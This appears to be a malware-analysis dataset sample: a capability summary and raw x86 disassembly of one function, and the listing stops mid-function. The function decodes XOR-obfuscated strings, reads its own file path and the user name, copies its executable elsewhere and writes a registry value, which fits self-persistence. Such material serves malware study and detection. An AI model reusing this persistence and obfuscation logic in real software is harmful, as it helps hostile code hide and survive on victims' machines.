Function at 0x41f380
Capabilities:
Check if file exists
Copy file
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x522e37
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x588
mov dword [ebp - 0x14], 0
xor ecx, ecx
movaps xmm0, xmmword [0x547280]
push esi
push edi
movups xmmword [ebp - 0x28], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 6
jb 0x41f3c8
mov dword [0x55d548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f404
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402b80
mov dword [ebp - 4], 0
lea edx, [ebp - 0x98]
cmp dword [ebp - 0x84], 0x10
cmovae edx, dword [ebp - 0x98]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f440
mov edi, closesocket
sub ecx, esi
mov esi, dword [0x55ab3c]
mov eax, edi
sub eax, esi
cmp eax, ecx
jb 0x421a7c
cmp dword [0x55ab40], 0x10
mov eax, 0x55ab2c
push esi
cmovae eax, dword [0x55ab2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x1fc]
call fcn.0048aa20
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x41f4c4
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f4ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421afb
push ecx
push edx
call fcn.004fb0f1
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x27], 0xdcc8dcc0
mov byte [ebp - 0x23], 0xc2
xor ecx, ecx
movq qword [ebp - 0x22], xmm0
mov word [ebp - 0x1a], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 5
jb 0x41f4e0
mov dword [0x55d544], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x27]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f513
sub ecx, edx
lea eax, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b80
mov byte [ebp - 4], 3
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f540
sub ecx, esi
mov eax, edi
mov esi, dword [0x55ab3c]
sub eax, esi
cmp eax, ecx
jb 0x421a81
cmp dword [0x55ab40], 0x10
mov eax, 0x55ab2c
push esi
cmovae eax, dword [0x55ab2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x244]
call fcn.0048aa20
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41f5b9
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f5af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421afb
push ecx
push edx
call fcn.004fb0f1
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x27], 0xdaced8ca
mov byte [ebp - 0x23], 0xc3
xor ecx, ecx
movq qword [ebp - 0x22], xmm0
mov word [ebp - 0x1a], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 5
jb 0x41f5d4
mov dword [0x55d544], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x27]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f607
sub ecx, edx
lea eax, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b80
mov byte [ebp - 4], 6
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f631
sub ecx, esi
mov eax, edi
mov esi, dword [0x55ab3c]
sub eax, esi
cmp eax, ecx
jb 0x421a86
cmp dword [0x55ab40], 0x10
mov eax, 0x55ab2c
push esi
cmovae eax, dword [0x55ab2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x1c8]
call fcn.0048aa20
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41f6aa
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f6a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421afb
push ecx
push edx
call fcn.004fb0f1
add esp, 8
push 0x200
lea eax, [ebp - 0x598]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x598]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x1d0], 0
lea ecx, [ebp - 0x598]
mov dword [ebp - 0x1cc], 0
movups xmmword [ebp - 0x1e0], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f700
sub ecx, edx
lea eax, [ebp - 0x598]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00402b80
push 0x104
lea eax, [ebp - 0x398]
mov byte [ebp - 4], 9
push 0
push eax
mov dword [ebp - 0x1e4], 0x104
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x1e4]
push eax
lea eax, [ebp - 0x398]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x5471c0]
xor ecx, ecx
mov dword [ebp - 0x66], 0xcbcac7cb
mov word [ebp - 0x62], 0xcdc7
movups xmmword [ebp - 0x60], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x66], al
inc ecx
cmp ecx, 0xc
jb 0x41f770
mov dword [0x55d528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x66]
mov byte [ebp - 0x5a], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f7a3
sub ecx, edx
lea eax, [ebp - 0x66]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.00402b80
cmp dword [ebp - 0x6c], 0x10
mov eax, 0x1fe
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
push eax
call fcn.00509aff
mov ecx, dword [ebp - 0x6c]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x41f80b
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f801
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421a8b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
test esi, esi
je 0x41ff76
mov ecx, esi
mov dword [ebp - 0x58], 0
xorps xmm0, xmm0
mov dword [ebp - 0x54], 0
movups xmmword [ebp - 0x68], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f840
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x68]
call fcn.00402b80
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
mov byte [ebp - 0x23], 0xdb
xor ecx, ecx
movq qword [ebp - 0x22], xmm0
mov word [ebp - 0x1a], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 1
jb 0x41f870
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x23]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f8a3
sub ecx, edx
lea eax, [ebp - 0x23]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b80
mov eax, 0x9fe
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x68]
cmovae eax, dword [ebp - 0x4c]
push eax
call fcn.00482d20
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41f911
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f907
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421aaa
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp dword [ebp - 0x1e8], 0x10
lea ecx, [ebp - 0x1fc]
mov edx, dword [ebp - 0x58]
cmovae ecx, dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x54]
mov edi, dword [ebp - 0x1ec]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x41f965
cmp dword [ebp - 0x54], 0x10
lea esi, [ebp - 0x68]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x68]
mov dword [ebp - 0x58], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov ecx, dword [ebp - 0x14]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x41f975
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x68]
push dword [ebp - 0x14]
push edi
call fcn.00488e80
cmp dword [ebp - 0x54], 0x10
lea esi, [ebp - 0x68]
push 0x55d1d0
cmovae esi, dword [ebp - 0x68]
call fcn.004fa3f2
add esp, 4
test eax, eax
jne 0x421a90
test esi, esi
je 0x41f9e0
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f9a0
sub ecx, edx
je 0x41f9e0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41f9d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41f9d1
cmp eax, 0x20
je 0x41f9d1
cmp eax, 0x45
je 0x41f9d1
cmp eax, 0x24
jne 0x41f9e0
push 0x55d1d0
call fcn.004fa403
add esp, 4
jmp 0x41f9fd
push 0x55d1d0
call fcn.004fa403
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.0041c570
test al, al
je 0x41ff3e
xorps xmm0, xmm0
mov dword [ebp - 0x26], 0xeff1eda9
movq qword [ebp - 0x22], xmm0
xor ecx, ecx
mov word [ebp - 0x1a], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 4
jb 0x41fa14
mov dword [0x55d5d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41fa50
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402b80
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x98]
cmp dword [ebp - 0x84], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x23], 0xdb
cmovae eax, dword [ebp - 0x98]
xor ecx, ecx
mov dword [ebp - 0x34], eax
movq qword [ebp - 0x22], xmm0
mov word [ebp - 0x1a], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 1
jb 0x41fa98
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x23]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41fad0
sub ecx, edx
lea eax, [ebp - 0x23]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b80
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41fb00
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x58]
sub eax, esi
cmp eax, ecx
jb 0x421a96
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
push ecx
cmovae eax, dword [ebp - 0x68]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0xb0]
call fcn.0048aa20
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1fc]
cmp dword [ebp - 0x1e8], 0x10
mov edx, dword [ebp - 0xa0]
cmovae ecx, dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x9c]
mov edi, dword [ebp - 0x1ec]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x41fba9
cmp dword [ebp - 0x9c], 0x10
lea esi, [ebp - 0xb0]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0xb0]
mov dword [ebp - 0xa0], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0xb0]
jmp 0x41fbbc
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x14]
push edi
call fcn.00488e80
mov dword [ebp - 0xb8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xc8]
push dword [ebp - 0x34]
call fcn.00482d20
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, 0x7c09fe
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x41fc91
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fc87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421a9b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x41fcea
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fce0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421a9b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41fd3d
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fd33
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421a9b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x41fd7b
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fd71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421a9b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x80]
mov ecx, esp
push eax
call fcn.00483010
call fcn.0040da60
add esp, 0x18
test al, al
jne 0x41ff06
cmp dword [ebp - 0x6c], 0x10
lea ecx, [ebp - 0x80]
push 0
cmovae ecx, dword [ebp - 0x80]
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
push ecx
cmovae eax, dword [ebp - 0x1e0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x41ff06
movaps xmm0, xmmword [0x549e60]
xor ecx, ecx
movups xmmword [ebp - 0x1b0], xmm0
mov dword [ebp - 0x190], 0xcfffdcc9
movaps xmm0, xmmword [0x548c00]
movups xmmword [ebp - 0x1a0], xmm0
mov word [ebp - 0x18c], 0xdfd9
movaps xmm0, xmmword [0x5472b0]
mov byte [ebp - 0x18a], 0xc4
movups xmmword [ebp - 0x189], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1b0], al
inc ecx
cmp ecx, 0x2d
jb 0x41fe10
mov dword [0x55d534], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 0x183], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41fe50
sub ecx, edx
lea eax, [ebp - 0x1b0]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b80
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x14]
push ecx
mov eax, 0x407c09fe
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push 0x20006
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [ebp - 0x38]
test eax, eax
sete al
mov byte [ebp - 0x15], al
cmp ecx, 0x10
jb 0x41fed2
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fec5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421aa0
push ecx
push edx
call fcn.004fb0f1
mov al, byte [ebp - 0x15]
add esp, 8
test al, al
je 0x41ff06
lea ecx, [ebp - 0x80]
call fcn.00402b50
lea ecx, [ebp - 0x1fc]
mov esi, eax
call fcn.00402b50
push dword [ebp - 0x70]
push esi
push 1
push 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x41ff3e
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ff34
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421aa5
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x41ff76
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ff6c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421aaa
push ecx
push edx
call fcn.004fb0f1
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x26], 0xdac4cdd3
movq qword [ebp - 0x22], xmm0
xor ecx, ecx
mov word [ebp - 0x1a], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 4
jb 0x41ff90
mov dword [0x55d5d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xb4], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ffd0
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0xc8]
call fcn.00402b80
or dword [ebp - 0x34], 0x200
lea eax, [ebp - 0xc8]
cmp dword [ebp - 0xb4], 0x10
cmovae eax, dword [ebp - 0xc8]
push eax
call fcn.00509aff
mov ecx, dword [ebp - 0xb4]
add esp, 4
mov dword [ebp - 0x50], eax
cmp ecx, 0x10
jb 0x42004a
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420040
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421aaf
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x547120]
xor ecx, ecx
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov dword [ebp - 0x192], 0xdfc5c4c6
mov dword [ebp - 0x18e], 0xdddfc9d8
mov byte [ebp - 0x18a], 0xdf
movups xmmword [ebp - 0x189], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x192], al
inc ecx
cmp ecx, 0xf
jb 0x420090
mov dword [0x55d558], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x192]
mov byte [ebp - 0x183], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4200d0
sub ecx, edx
lea eax, [ebp - 0x192]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.00402b80
or dword [ebp - 0x34], 0x400
lea eax, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
cmovae eax, dword [ebp - 0x80]
push eax
call fcn.00509aff
mov ecx, dword [ebp - 0x6c]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x42013a
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420130
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ab4
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
test esi, esi
je 0x421485
mov ecx, esi
mov dword [ebp - 0x58], 0
xorps xmm0, xmm0
mov dword [ebp - 0x54], 0
movups xmmword [ebp - 0x68], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420170
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x68]
call fcn.00402b80
mov byte [ebp - 4], 0x15
xorps xmm0, xmm0
mov byte [ebp - 0x23], 0xdb
xor ecx, ecx
movq qword [ebp - 0x22], xmm0
mov word [ebp - 0x1a], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 1
jb 0x4201a0
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x23]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4201d3
sub ecx, edx
lea eax, [ebp - 0x23]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b80
or dword [ebp - 0x34], 0x1000
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x68]
cmovae eax, dword [ebp - 0x4c]
push eax
call fcn.00482d20
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x420240
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420236
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421add
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x1c8]
mov edx, dword [ebp - 0x58]
cmovae ecx, dword [ebp - 0x1c8]
mov eax, dword [ebp - 0x54]
mov edi, dword [ebp - 0x1b8]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x420293
cmp dword [ebp - 0x54], 0x10
lea esi, [ebp - 0x68]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x68]
mov dword [ebp - 0x58], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov eax, dword [ebp - 0x14]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
jmp 0x4202a9
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x68]
push dword [ebp - 0x14]
push edi
call fcn.00488e80
mov edi, dword [ebp - 0x1b8]
cmp dword [ebp - 0x54], 0x10
lea esi, [ebp - 0x68]
push 0x55d1d0
cmovae esi, dword [ebp - 0x68]
call fcn.004fa3f2
add esp, 4
test eax, eax
jne 0x421ab9
test esi, esi
je 0x420312
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4202d2
sub ecx, edx
je 0x420312
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x420303
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x420303
cmp eax, 0x20
je 0x420303
cmp eax, 0x45
je 0x420303
cmp eax, 0x24
jne 0x420312
push 0x55d1d0
call fcn.004fa403
add esp, 4
jmp 0x420389
push 0x55d1d0
call fcn.004fa403
add esp, 4
mov dword [ebp - 0xd0], 0
cmp dword [ebp - 0x54], 0x10
lea edx, [ebp - 0x68]
xorps xmm0, xmm0
mov dword [ebp - 0xcc], 0
cmovae edx, dword [ebp - 0x68]
mov ecx, edx
movups xmmword [ebp - 0xe0], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420350
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xe0]
call fcn.00402b80
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xe0]
mov eax, dword [ebp - 0x34]
or eax, 1
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], eax
call fcn.0041c570
mov byte [ebp - 0x15], 0
test al, al
je 0x42038d
mov byte [ebp - 0x15], 1
mov dword [ebp - 4], 0x15
mov eax, dword [ebp - 0x34]
test al, 1
je 0x4203d5
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x4203d5
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4203cb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421abf
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp byte [ebp - 0x15], 0
je 0x42144d
xorps xmm0, xmm0
mov dword [ebp - 0x26], 0xeff1eda9
movq qword [ebp - 0x22], xmm0
xor ecx, ecx
mov word [ebp - 0x1a], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 4
jb 0x4203f6
mov dword [0x55d5d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x98], xmm0
